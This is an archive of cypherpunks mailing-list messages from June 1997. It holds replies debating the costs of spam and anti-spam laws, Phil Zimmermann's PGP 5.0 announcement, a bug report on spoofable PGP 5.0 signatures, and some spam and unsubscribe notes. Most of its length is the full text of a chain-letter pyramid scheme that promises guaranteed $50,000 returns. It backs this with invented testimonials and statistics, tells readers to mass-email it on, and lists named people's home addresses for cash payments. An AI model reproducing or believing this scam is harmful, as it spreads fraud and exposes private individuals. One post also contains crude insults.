please correct my math... i'm a lawyer not an accountant). Since people 
don't read their email every day, some of that must be stored for several 
days. And if it is bouncing back to an invalid sender address, the rest 
ends up in the postmaster mailbox. Assuming that those same figures and 
costs are spread among other ISPs as well, that's a heck of a lot of data 
to transmit and store...which translates into costs for ISPs and their 
customers.

>
>	If you banned commercial e-mail,
>	wouldn't it just affect legitimate
>	commercial transactions?  That is to say,
>	wouldn't fly-by-night pyramid-scheme
>	builders still be able to spam?  I would
>	think that if they are so untraceable
>	that it's hard to block their spam that
>	it wouldn't really matter if it were
>	simply made illegal.

I don't think anybody wants to ban all commercial mail, just the 
unsolicited advertisements for which the advertisers don't bear the real 
costs. If you're truly trying to operate a moneymaking business, you've 
got to have someplace for people to send the money... So regardless of 
how you disguise the headers, you still have a means of tracking down the 
culprit... and in the case of the Smith legislation you'd have the chance 
to recover up to $1500 per message. There is at least one major national 
collection agency that I know of who is chomping at the bit to recover 
that for you.

-Ray
<everett@cauce.org>
-------------------------------------------------------------------------
 Ray Everett-Church, Esq.  <ray@everett.org>    www.everett.org/~everett
 This mail isn't legal advice.   Opinion(RE-C) != Opinion(clients(RE-C)) 
 (C)1997 Ray Everett-Church ** Help outlaw "spam"=> http://www.cauce.org 
-------------------------------------------------------------------------

********

Date: Wed, 04 Jun 1997 19:20:36 -0400
From: Chris Poupart <jyhad@odyssee.net>
To: declan@well.com

<quote>
        If you banned commercial e-mail,
        wouldn't it just affect legitimate
        commercial transactions?  That is to say,
        wouldn't fly-by-night pyramid-scheme
        builders still be able to spam?  I would
        think that if they are so untraceable
        that it's hard to block their spam that
        it wouldn't really matter if it were
        simply made illegal.
</quote>

making spam illegal would be a futile plan, unless the authorities were
given the power to persue not just the sender, but the people for whome
it advertises.  Not only could the fly-by-night pyramid-schemes work,
but there are programs out there that allow you to route your e-mail so
that it is Anonymous, now these programs can also do bulk mailing... I
think you get my picture.  If you could also press charges against the
advertised company (providing it was authorised by them), then that
might work.  If not, well then with all the free e-mail available
(www.hotmail.com and www.netaddress.com or .net I can't remember),
people might want to set up an e-mail account to use with Usenet and to
give as pw, ect, and then they could keep one privit and "secret"
amongst their friends.  The internet has flourished w/out government
help and I beleive that it will continiue to do so.

					Chris Poupart
					Montreal, Canada

-- 
Chris Poupart                        mailto:chris@peacefire.org   
Support Freedom of Speech and visit: 
http://www.peacefire.org | http://www.eff.org
http://www.geocities.com/Colosseum/Field/6078/censor-index.html

**********

From: "Marius  Loots" <MLOOTS@medic.up.ac.za>
To: Declan McCullagh <declan@well.com>
Date:          Thu, 5 Jun 1997 11:16:21 GMT+2

Hallo Declan

I really enjoy your list.  The mailings are very interesting and
relevant.  Thanks.  My thoughts on the two questions:

>     What are the costs to consumers of
>     unsolicited e-mail?  I guess the time it
>     takes to delete it might be one, hard
>     drive space might be another.  I would
>     like to know how to quantify it, and
>     compare it with the cost of sending
>     e-mail.

It would be extremely difficult to quantify in monetary terms.  It has
been long since I had one of those BIG things in my mailbox.  Most of
these has lately been smaller emails that compare well in size to some of
the material I send around.  Because harddrives are not that expensive
anymore, storage space is IMO, not a factor at all.

The irritation factor is my biggest concern.  You have to sort it from
the valuable mail, that takes time.  You have to delete it, that takes
time. And some people has to download it, that takes time.

This eating up of my time, irritates me. And with the present information
overload, time is one of the few things we definitely don't have.

>     If you banned commercial e-mail,
>     wouldn't it just affect legitimate
>     commercial transactions?  That is to say,
>     wouldn't fly-by-night pyramid-scheme
>     builders still be able to spam?  I would
>     think that if they are so untraceable
>     that it's hard to block their spam that
>     it wouldn't really matter if it were
>     simply made illegal.

You are not going to be able to ban it.  As long as email is email, there
will be people using it to spam.  Even if you make it illegal, it will
still happen.

A few quick thoughts or ideas to be kicked around:
1. What could be made illegal is the selling of email addresses.
2. Ban *unsolicited* commercial email
3. Make ISP who supply service for free or without proper checking liable
for prosecution if spam comes from their system.
4.  Black-list people that are caught spamming (use in tandem with 3).

A number of these spammers are not once-only fly-by-nighters.  They strike
again and again.  Because it is not illegal at the moment, no-one can do
anything.  I am not able to write the legalese but these are some rough
thoughts on the matter.

Unsolicited email is unsolicited email, and the sooner we get that out of
the system, the better.


Groetnis
Marius Loots

-------------------------------------------------------
Maestro  mloots@medic.up.ac.za  +27-12-319-2144  pgp2.6
TOP 50 on the SA WebChart - Have a look and vote NOW!!!
http://www.geocities.com/Athens/6398
Add some Chaos to your Life and put the World in Order
-------------------------------------------------------

*********

Date: Wed, 4 Jun 1997 13:28:38 -0700
To: declan@relay.pathfinder.com
From: Roger Bohn <Rbohn@UCSD.edu>
Subject: Re: Spam costs and questions


At 3:47 PM -0400 6/4/97, Declan McCullagh wrote:
>A friend who's going to be speaking on one of the FTC panels next week
>sent me a few questions about spam. Does anyone want to try their hand at
>answering them? I'll forward along all responses I get.
>
>	What are the costs to consumers of
>	unsolicited e-mail?  I guess the time it
>	takes to delete it might be one, hard
>	drive space might be another.  I would
>	like to know how to quantify it, and
>	compare it with the cost of sending
>	e-mail.

A big cost is that it reduces the S/N ratio of e-mail.  As the amount of
spam goes up, sooner or later you start missing legitimate messages that
you should have read, because you do blanket erases, don't read carefully,
close down entire accounts, etc.  Personally I've not reached that point,
but spam is growing exponentially so I give it 2 years.

Cost of telephone connect time is also a consideration for most users.
Even if you are on a flat phone rate, there is an opportunity cost from
having your phone tied up longer.   (Yes, even if you have 2 lines--the
members of my household are always fighting over the second line.)

>
>	If you banned commercial e-mail,
>	wouldn't it just affect legitimate
>	commercial transactions?  That is to say,
>	wouldn't fly-by-night pyramid-scheme
>	builders still be able to spam?  I would
>	think that if they are so untraceable
>	that it's hard to block their spam that
>	it wouldn't really matter if it were
>	simply made illegal.
>
Yes and no.  Fly by nights would continue, certainly.  But look how
successful the mail fraud laws have been at limiting (not eradicating) mail
based pyramid schemes, for example.   Laws, if carefully drawn, would have
an effect.

I think mandatory labeling is much better than banning commercial e-mail,
by the way.  An outright ban has several problems,  in the U.S. at least.
A mandatory label deals with the S/N issue cited above (you can filter
commercial messages), and as mail packages get smarter they can be set to
not download messages selectively, thus dealing with the other problems.
Something as draconian as an outright ban also encourages lawbreaking more
than a labeling provision would.

Roger Bohn

###









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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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Message-ID: <1JYFD552@uva-uuxxx.net>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 5 Jun 1997 20:36:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Dimitri McVeigh
Message-ID: <199706060336.XAA23074@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Hallam-Baker <hallam@ai.mit.edu> writes:
> > I'll accept that the ranting faction do some good work but I've
> > not seen anything usefull out of either Bell or Vulis unless that
> > is you are an FBI agent looking to get a promotion from Freeh.
 
> Dimitri rights code sometimes.  He wrote a cancel-bot.  Very
> constructive piece of work in an indirect way.  See: having nice
> freely available cancel-bots enables technically clueless, would
> be-censors to censor more.  They censor more, and cause a nuisance for
> themselves sending out tons of cancel messages.  This incentivizes
> more and more people to ignore cancels (the trend in news
> administration these days I understand is to ignore cancels entirely),
> which means that you can't have your USENET posts censored nearly as
> easily.

  Dimitri has long pushed the envelope of censorship and challenged
those who don't like it to do something about it.
  The reason that Hallam-Baker is able to post thinly veiled "Dimitri
is a cocksucker!" messages to the list is because Dimitri refused to
lay down and quit when he was forcibly censored for his "Gilmore is
a cocksucker!" messages. If the censorship coupe d'etat had succeded,
then Hallam-Baker's post would have been trashed into the flames list.

  Dimitri and others, such as the Freedom-Knights, made it possible to
"route around" the censorship of USENET posts to such an extent that
any attempt I might make to censor Hallam-Baker's demeaning of Dimitri
on USENET would have little effect. 
  The bottom line is that Hallam-Baker's demeaning of Dimitri without
facing censorship on this list and on USENET is partly the result of
the efforts of Dimitri, himself, to fight censorship.
  This is not surprising, since, after all, Dimitri is a cypherpunk.
(Despite all of his claims to the contrary.)

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Fri, 6 Jun 1997 19:57:09 -0700 (PDT)
To: Cryptography List <pgp-mime@purpletape.cs.uchicago.edu
Subject: [ANNOUNCE] Phil Zimmermann on recent FUD and PGP 5.0 plans
Message-ID: <v0400020bafbe24a62d21@[205.180.136.26]>
MIME-Version: 1.0
Content-Type: text/plain


A message from our Fearless Leader...

   dave

................................. cut here .................................

-----BEGIN PGP SIGNED MESSAGE-----

Last month, Pretty Good Privacy Inc went through a  reorganization in
its top management.  We were spending too much money, too fast.  Tom
Steding was replaced by Phil Dunkelberger as the president of PGP, and
I handed over the chairman title to Jonathan Seybold, who had been, with
me, the original cofounder of the company.  Jonathan is devoting his time
to the business side of things, while I am focussing my attention on my
role as chief technology officer.

I have seen some speculation in some usenet newsgroups that these changes
were in some way connected with the fact that PGP was recently sued by RSA
Data Security over some dispute regarding royalties for use of the RSA
patent, which PGP holds a license to.  Let me set the record straight
on this.  There are sound business reasons why this shuffling of top
management occurred at PGP, and these reasons are known to all of our
employees.  The RSA lawsuit against PGP is absolutely not one of the
reasons, not even remotely.  I don't think shuffling top management is
a likely reaction for any company to take in response to a lawsuit, even
if the lawsuit had merit, which this one does not.  We fully expect the
RSA matter to be resolved in arbitration proceedings, in our favor.

I know that it is common practice for some companies to issue statements
to "spin" the story about certain events, sometimes at the expense of
truth.  This makes a lot of people understandably skeptical about such
explanations.  I do have responsibilities toward my company, but no
one could get me to deny a truth about the reasons for the restructuring.
The truth is, the restructuring had absolutely nothing at all to do with
the RSA lawsuit.

I would now like to announce that we will be releasing PGP 5.0 in mid-June.
It's in beta release right now on our web page (www.pgp.com).  In keeping
with my own dedication to personal freedom and privacy, we will be releasing
a freeware version for noncommercial use through MIT's web site
(web.mit.edu/pgp), just like in the old days before the company was formed.
And we do plan to publish the full PGP source code for Mac, Windows 95,
and Linux.

There are a lot of new exciting features, including automatic key lookups
from remote key servers on the Internet, which will likely result in the
rapid growth of a ready-made nationwide PGP public-key infrastructure,
on an unprecedented scale.  We are also encouraging the migration to new
public key algorithms in addition to RSA, namely the NIST Digital
Signature Standard (DSS), as well as Diffie-Hellman (Elgamal) keys.
We expect most of the new users to be using these new algorithms instead
of RSA, in part because they offer new features, better performance, and
better security for the same key sizes.  I hope that you will all join me
in this opportunity to move to these new algorithms, allowing everyone to
finally enjoy the use of public key cryptography without the encumberances
of patents.

Philip Zimmermann
Chief Technology Officer, PGP Inc.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM5WoZWV5hLjHqWbdAQGaxgP/UM+i7Pz38x68zdWVOsTrQVepa+0FUndC
NkvTi5iMTC9up7HJgleXMWuAB00qVB8XlC1/6oSx4Ot+gTecu0wXgNG/l8LXFBAo
YYxlPhR497fvKfnWXATkJ3jQJAQbACHXzh7Wycc1MGq+46o6+CkECrUvUs8//KQT
toJMdfVJEVA=
=ywNo
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: message@marketcom2.com
Date: Sat, 7 Jun 1997 14:39:23 -0700 (PDT)
To: skproductions@answerme.com
Subject: Web Site Visibility
Message-ID: <199706072136.OAA09799@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: xmasterx@juno.com
Date: Sat, 7 Jun 1997 05:52:10 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: No Subject
Message-ID: <19970606.204444.11574.0.xmasterx@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBSCRIBE cypherpunks




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SHIVAANI KUMAR <sl.kumar@student.qut.edu.au>
Date: Sat, 7 Jun 1997 00:12:12 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: No Subject
Message-ID: <Pine.OSF.3.93.970607171147.25401B-100000@sparrow.qut.edu.au>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBSCRIBE cypherpunks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 63716769@online-now.de
Date: Sat, 7 Jun 1997 23:23:01 -0700 (PDT)
To: 96955904@ili33nks.net
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <1JYFD552@ili33nks.net>
MIME-Version: 1.0
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lawchek@softcell.net
Date: Sun, 8 Jun 1997 12:36:08 -0700 (PDT)
To: hhkgyu7@hgkjhkjh.com
Subject: Invitation To The Electronic Academy Of Law
Message-ID: <hhh888hhj.com>
MIME-Version: 1.0
Content-Type: text/plain


The Electronic Academy of Law                                              
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: show.me.the.money@denmark.it.earthlink.net
Date: Sun, 8 Jun 1997 21:44:30 -0700 (PDT)
To: money@denmark.it.earthlink.net
Subject: show me the money
Message-ID: <199706090247.TAA17997@denmark.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: $$$$$opportunity@denmark.it.earthlink.net
Date: Mon, 9 Jun 1997 00:04:29 -0700 (PDT)
To: $$$$$opportunity@denmark.it.earthlink.net
Subject: $$$$$opportunity
Message-ID: <199706090527.WAA15693@denmark.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



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 AT THAT MOMENT
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time on-line.  The great thing about email is that I
didn't need any money
for printing to send out the program, only the cost to
fulfill my orders.  I
am telling you like it is, I hope it doesn't turn you off,
but I promised
myself that I would not "rip-off" anyone, no matter how
much money it cost me!
 
A good program to help do this is Ready Aim Fire, an email
extracting and
mass mail program at:

 http://microsyssolutions.com/
  
In less than one week, I was starting to receive orders
for REPORT #1. By
January 13th, I had received 26 orders for REPORT #1.
When you read the
GUARANTEE in the program, you will see that "YOU MUST
RECEIVE 15 TO 20
ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,
SEND OUT
MORE PROGRAMS UNTIL YOU DO!"  My first step in making
$50,000 in 20 to 90 
days was done.  By January 30th, I had received 196 orders
for REPORT #2.  If 
you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR
MORE ORDERS
FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE
PROGRAMS
UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY,
RELAX, 
YOU WILL MAKE YOUR $50,000 GOAL."

Well, I had 196 orders for REPORT #2, 96 more than I
needed.  So I sat back
and relaxed.  By March 19th, of my emailing of 10,000, I
received $58,000
with more coming in every day.
 
I paid off  ALL my debts and bought a much needed new car.
 Please take time
to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER!
Remember,  it wont work  if you don't try it.  This
program does work, but
you must follow it EXACTLY!  Especially the rules of not
trying to place
your name in a different place.  It doesn't work, you'll
lose out on a  lot
of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to
20  orders  for REPORT #1, and 100 or more orders for
REPORT #2 and you will
make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF
THAT IT WORKS !!!
 
If you choose not to participate in this program, I'm
sorry.  It really is a
great opportunity with little cost or risk to you.  If you
choose to
participate, follow the program and you will be on your
way to financial
security.
 
If you are a fellow business owner and you are in
financial trouble like I
was, or you want to start your own business, consider this
a sign.  I DID!
 
                                Sincerely,
                                Christopher Erickson
 
PS  Do you have any idea what 11,700 $5 bills ($58,000)
look like piled up
on a kitchen table? IT'S AWESOME!
 
"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it
away, but later
wondered if I shouldn't have given it a try.  Of course, I
had no idea who
to contact to get a copy, so I had to wait until I was
emailed another copy
of the program.  Eleven months passed, then it came.  I
DIDN'T throw this
one away.  I made $41,000 on the first try."
 
                                        Dawn W.,
Evansville, IN
 
"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is
no free lunch in
life.  You get out of life what you put into it.'  Through
trial  and error
and a somewhat slow frustrating start, I finally figured
it out. The program
works very well, I just had to find the right target group
of people to
email it to.  So far this year, I have made over $63,000
using this program.
I know my dad would have been very proud of me."
 
                                        Alan B.,
Philadelphia, PA
 
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
 
By the time you have read the enclosed information and
looked over the
enclosed program and reports, you should have concluded
that such a program,
and  one that is legal,  could not have been created by an
amateur.
Let me tell you a little about myself.  I had a profitable
business for ten
years.  Then in 1979 my business began falling off.  I was
doing the same
things that were previously successful for me, but it
wasn't working.
Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and
recession had replaced the stable economy that had been
with us since 1945.
I don't have to tell you what happened to the unemployment
rate...because
many of you know from first hand  experience. There were
more failures and
bankruptcies than ever before.
 
The middle class was vanishing.  Those who knew what they
were doing
invested wisely and moved up.  Those who did not,
including those who never
had anything to save or invest, were moving down into the
ranks of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET
POORER."  
The traditional methods of making money will never allow
you to "move up" or
"get rich", inflation will see to that.  You have just
received information that can 
give you financial freedom for the rest of your life, with
"NO RISK" and "JUST A 
LITTLE BIT OF EFFORT."  You can make more money in the
next few months 
than you have ever imagined.
 
I should also point out that I will not see a penny of
your money, nor
anyone else who has provided a testimonial for this
program.  I have already
made over FOUR MILLION DOLLARS!  I have retired from the
program after
sending out over 16,000 programs.  Now I have several
offices which market
this and several other programs here in the US and
overseas.  By the Spring,
we wish to market the 'Internet' by a partnership with
AMERICA ON LINE.
 
Follow the program EXACTLY AS INSTRUCTED.  Do not change
it in any way.
It works exceedingly well as it is now.  Remember to email
a copy of this
exciting program to everyone that you can think of.  One
of the people you
send this to may send out 50,000...and your name will be
on every one of
them!.  Remember though, the more you send out, the more
potential customers
you will reach.
 
So my friend, I have given you the ideas, information,
materials and
opportunity to become financially independent, IT IS UP TO
YOU NOW!
 
"THINK ABOUT IT"
 
Before you delete this program from your mailbox, as I
almost did, take a
little time to read it and REALLY THINK ABOUT IT.  Get a
pencil and figure
out what could happen when YOU participate.  Figure out
the worst possible
response and no matter how you calculate it, you will
still make a lot of
money!  Definitely get back what you invested.  Any doubts
you have will 
vanish when your first orders come in.  IT WORKS!
 
                                        Paul Johnson,
Raleigh, NC
 
HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
 
Let's say that you decide to start small, just to see how
it goes, and we'll
assume you and all those involved send out 2,000 programs
each. Let's also
assume that the mailing receives a .5% response.  Using a
good list the
response could be much better.  Also many people will send
out hundreds of
thousands of programs instead of 2,000.  But continuing
with this example,
you send out only 2,000 programs.  With a .5% response,
that is only 10
orders for REPORT #1.  Those 10 people respond by sending
out 2,000 programs
each for a total of 20,000.  

Out of those .5%, 100 people respond and order REPORT #2.
Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5%
response to that is
1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a
2,000,000 total.  The .5% response to that is 10,000
orders for REPORT #4.
That's 10,000 five dollar bills for you. CASH!!!!  Your
total income in this
example is $50 + $500 + $5000 +$50,000 for a total of
$55,550!!!!
 
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000
PEOPLE YOU 
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS
PROGRAM!  
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE  
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  

Believe me, many people will do that and more!  By the
way, your cost to
participate in this is practically nothing.  You obviously
already have an
internet connection and email is FREE!!!  REPORT #3 will
show you the best
methods for bulk emailing and purchasing email lists.
 
THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It
does not 
require you to come in contact with people, do any hard
work, and best of all, you
never have to leave the house except to get the mail.  If
you believe that
someday you'll get that big break that you've been waiting
for, THIS IS IT!
Simply follow the instructions, and your dream will come
true.  This
multi-level email order marketing program works
perfectly...100% EVERY TIME.
Email is the sales tool of the future.  Take advantage of
this
non-commercialized method of advertising NOW!!  The longer
you wait, the
more people will be doing business using email.  Get your
piece of this action!!
 
MULTI-LEVEL MARKETING (MLM) has finally gained
respectability.  It is being
taught in the Harvard Business School, and both Stanford
Research and The
Wall Street Journal have stated that between 50% and 65%
of all goods and
services will be sold throughout Multi-level Methods by
the mid to late
1990's.  This is a Multi-Billion Dollar industry and of
the 500,000
millionaires in the US, 20% (100,000) made their fortune
in the last several
years in MLM.  Moreover, statistics show 45 people become
millionaires
everyday through Multi-Level Marketing.
 
INSTRUCTIONS
 
We at Erris Mail Order Marketing Business, have a method
of raising capital
that REALLY WORKS 100% EVERY TIME.  I am sure that you
could use 
$50,000 to $125,000 in the next 20 to 90 days.  Before you
say "Bull", please read 
the program carefully.
 
This is not a chain letter, but a perfectly legal money
making opportunity.
Basically, this is what we do:  As with all multi-level
business, we build
our business by recruiting new partners and selling our
products.  Every
state in the USA allows you to recruit new multi-level
business partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS
COME AND ARE
FILLED THROUGH THE MAIL, so you are not involved in
personal selling.  You
do it privately in your own home, store or office.
 
This is the GREATEST Multi-level Mail Order Marketing
anywhere:
 
Step (1)   Order all four 4 REPORTS listed by NAME AND
NUMBER.  Do this by
ordering the REPORT from each of the four 4 names listed
on the next page.
For each REPORT, send $5 CASH and a SELF-ADDRESSED,
STAMPED 
envelope (BUSINESS SIZE #10) to the person listed for the
SPECIFIC REPORT.  
International orders should also include $1 extra for
postage.  It is
essential  that you specify the NAME and NUMBER of the
report requested to
the person you are ordering from.  You will need ALL FOUR
(4) REPORTS
because you will be REPRINTING and RESELLING them.

DO NOT alter the names or sequence other than what the
instructions say.
IMPORTANT:  Always provide same-day service on all orders.
 
Step (2)   Replace  the  name  and  address  under  REPORT
#1  with yours,
moving the one that was there down to REPORT #2.  Drop
the  name and address 
under REPORT #2 to REPORT #3, moving the one that was
there to REPORT #4.  
The name and address that was under REPORT #4 is dropped
from the list and 
this party  is  no doubt on the way to the bank.  When
doing this, make certain you 
type the names and addresses ACCURATELY!  DO NOT MIX UP
MOVING 
PRODUCT/REPORT  POSITIONS!!!
 
Step (3)   Having made the required changes in the NAME
list, save it as a
text (.txt) file in it's own directory to be used with
whatever email
program you like. Again, REPORT #3 will tell you the best
methods of bulk
emailing and acquiring email lists. Step (4)   Email a
copy of the entire
program (all of this is very important) to everyone whose
address you can
get your hands on. Start with friends and relatives since
you can encourage
them to take advantage of this  fabulous  money-making
opportunity. that's
what I did.  And they love me now, more than ever. Then,
email to anyone and
everyone!  Use your imagination! You can get email
addresses from companies
on the internet who specialize in email mailing lists.
These are very
cheap, 100,000 addresses for around $35.00.
 
IMPORTANT:  You won't get a good response if you use an
old list, so always
request a FRESH, NEW list. You will find out where to
purchase these lists
when you order the four 4 REPORTS.
 
ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
REQUIRED REPORTS
 
***Order each REPORT by NUMBER and NAME***
 
ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"SURVIVAL TIPS FOR SMALL BUSINESSES"
 
ORDER REPORT #1 FROM:
 
MARK BLACK
718 FOREST AVE
LARCHMONT, NY 10538
________________________________________________________
REPORT #2
"HOW AND WHERE TO ADVERTISE"
 
ORDER REPORT #2 FROM:
 
MARYANNE BRUNO
411 WESTCHESTER AVE
APT 2K
PORTCHESTER, NY 10573
________________________________________________________
REPORT #3
"SECRETS TO SUCCESSFULLY STARTING YOUR OWN BUSINESS"
 
ORDER REPORT #3 FROM:
 
CARMELA BRUNO
30-21 70 STREET
JACKSON HEIGHTS, NY 11370
________________________________________________________
REPORT #4
"BIG DOLLARS IN YOUR MAILBOX"
 
ORDER REPORT #4 FROM:

MIKE BLACK
411 WESTCHESTER AVE APT 2K
PORTCHESTER, NY 10573

_______________________________________________________
 
CONCLUSION
 
I am enjoying my fortune that I made by sending out this
program. You too,
will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS
outlined in this mailing.
 
To be financially independent is to be FREE.  Free to make
financial
decisions as never before.  Go into business, get into
investments, retire
or take a vacation.  No longer will a lack of money hold
you back.
 
However, very few people reach financial independence,
because when
opportunity knocks, they choose to ignore it.  It is much
easier to say "NO"
than "YES", and this is the question that you must answer.
 Will YOU ignore
this amazing opportunity or will you take advantage of it?
If you do
nothing, you have indeed missed something and nothing will
change.  Please
re-read this material, this is a special opportunity. If
you have any
questions, please feel free to write to the sender of this
information.  You
will get a prompt and informative reply.
 
My method is simple.  I sell thousands of people a product
for $5 that costs
me pennies to produce and email.  I should also point out
that this program
is legal and everyone who participates WILL make money.
This is not a chain
letter or pyramid scam.  At times you have probably
received chain letters,
asking you to send money, on faith, but getting NOTHING in
return, NO
product what-so-ever!  Not only are chain letters illegal,
but the risk of
someone breaking the chain makes them quite unattractive.
 
You are offering a legitimate product to your people.
After they purchase
the product from you, they reproduce more and resell them.
It's simple free
enterprise.  As you learned from the enclosed  material,
the PRODUCT is a
series of four 4 FINANCIAL AND BUSINESS REPORTS.  
The information contained in these REPORTS will not only
help you in making
your participation in this program more rewarding, but
will be useful to you
in any other business decisions you make in the years
ahead. You are also
buying the rights to reprint all of the REPORTS, which
will be ordered from
you by those to whom you mail this program.  The concise
one and two page
REPORTS you will be buying can easily be reproduced at a
local copy center
for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!
 
"IT WAS TRULY AMAZING"
 
"Not being the gambling type, it took me several weeks to
make up my mind to
participate in this program.  But conservative as I am, I
decided that the
initial investment was so little that there was no way
that I could not get
enough orders to at least get my money back.  BOY, was I
ever surprised when
I found my medium sized post office box crammed with
orders!  I will make
more money this year than any ten years of my life
before."
 
                                        Mary Riceland,
Lansing, MI
 
TIPS FOR SUCCESS
 
Send for your four 4 REPORTS immediately so you will have
them when the
orders start coming in.  When you receive a $5 order, you
MUST send out the
product/service to comply with US Postal and Lottery laws.
 Title 18
Sections 1302 and 1341 specifically state that:  "A
PRODUCT OR SERVICE 
MUST BE EXCHANGED FOR MONEY RECEIVED."
 
WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
 
1.        Name your new company. You can use your own name
if you desire.
 
2.        Get a post office box (preferred).
 
3.        Edit the names and addresses on the program. You
must remember,
           your name and address go next to REPORT #1 and
the others all
           move down one, with the fourth one being bumped
OFF the list.
 
4.        Obtain as many email addresses as possible to
send until you
           receive the information on mailing list
companies in REPORT #3.
 
5.        Decide on the number of programs you intend to
send out.  The more you
           send, and the quicker you send them, the more
money  you will make.
 

6.        After mailing the programs, get ready to fill
the orders.
 
7.        Copy the four 4 REPORTS so you are able to sent
them out as soon as you
           receive an order. IMPORTANT: ALWAYS PROVIDE
SAME-DAY SERVICE  
           ON ORDERS YOU RECEIVE!
 
8.        Make certain the letter and reports are neat and
legible.
 
YOUR GUARANTEE
 
The check point which GUARANTEES your success is simply
this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!
If you don't
within two weeks, email out more programs until you do.
Then a couple of
weeks later you should receive at least 100 orders for
REPORT #2, if you
don't, send out more programs until you do.  Once you have
received 100 or
more orders for REPORT #2, (take a deep breath) you can
sit back and  relax,
because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it
is  a  proven  guarantee.   Of  those  who  have
participated in the program
and reached the above GUARANTEES-ALL have reached their
$50,000 goal.  

Also, remember, every time your name is moved down the
list you are in front of a
different REPORT, so you can keep track of your program by
knowing what
people are ordering from you. IT'S THAT EASY, REALLY, IT
IS!!!
 
REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 9 Jun 1997 01:09:11 -0700 (PDT)
To: pgp50bugs@pgp.com
Subject: PGP 5.0 doesn't tell me Which key a message is signed by! [SEVERITY 1]
Message-ID: <3.0.1.32.19970609010751.0075c738@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Yow!  I'm using PGP 5.0, with the PGPtray and the Eudora Plugin,
in a version that appears to be b14c3 for Win95.

When I receive a signed email message, or check with PGPtray,
it tells me the message is from "User <email@foo.com>",
but doesn't tell me it's from KeyID 0x12345678 or the 
fingerprint of the key or anything even vaguely difficult to fake.
Thus, I've signed this message as Phil Zimmermann FAKE <prz@acm.org>,
and if I'd left out the FAKE it would be difficult to tell it
from a real Phil key.  The GUI happily gives me a message box saying
"Good signature from Phil Zimmermann FAKE <prz@acm.org>".

We've been discussing 0xDEADBEEF attacks on Cypherpunks and Coderpunks,
but this appears to be far worse - I hope it's been fixed
for the production version?
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5u51kEvGqT1DvpRAQHnwgIAzF7uBmgsk9+c4IZObsnXBJBHuCFEUsMr
3V64azY6Wp156SFgDPGODQvQxzDiQCb96hUz2RK2j7DxfekOZ7rzjw==
=u93K
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





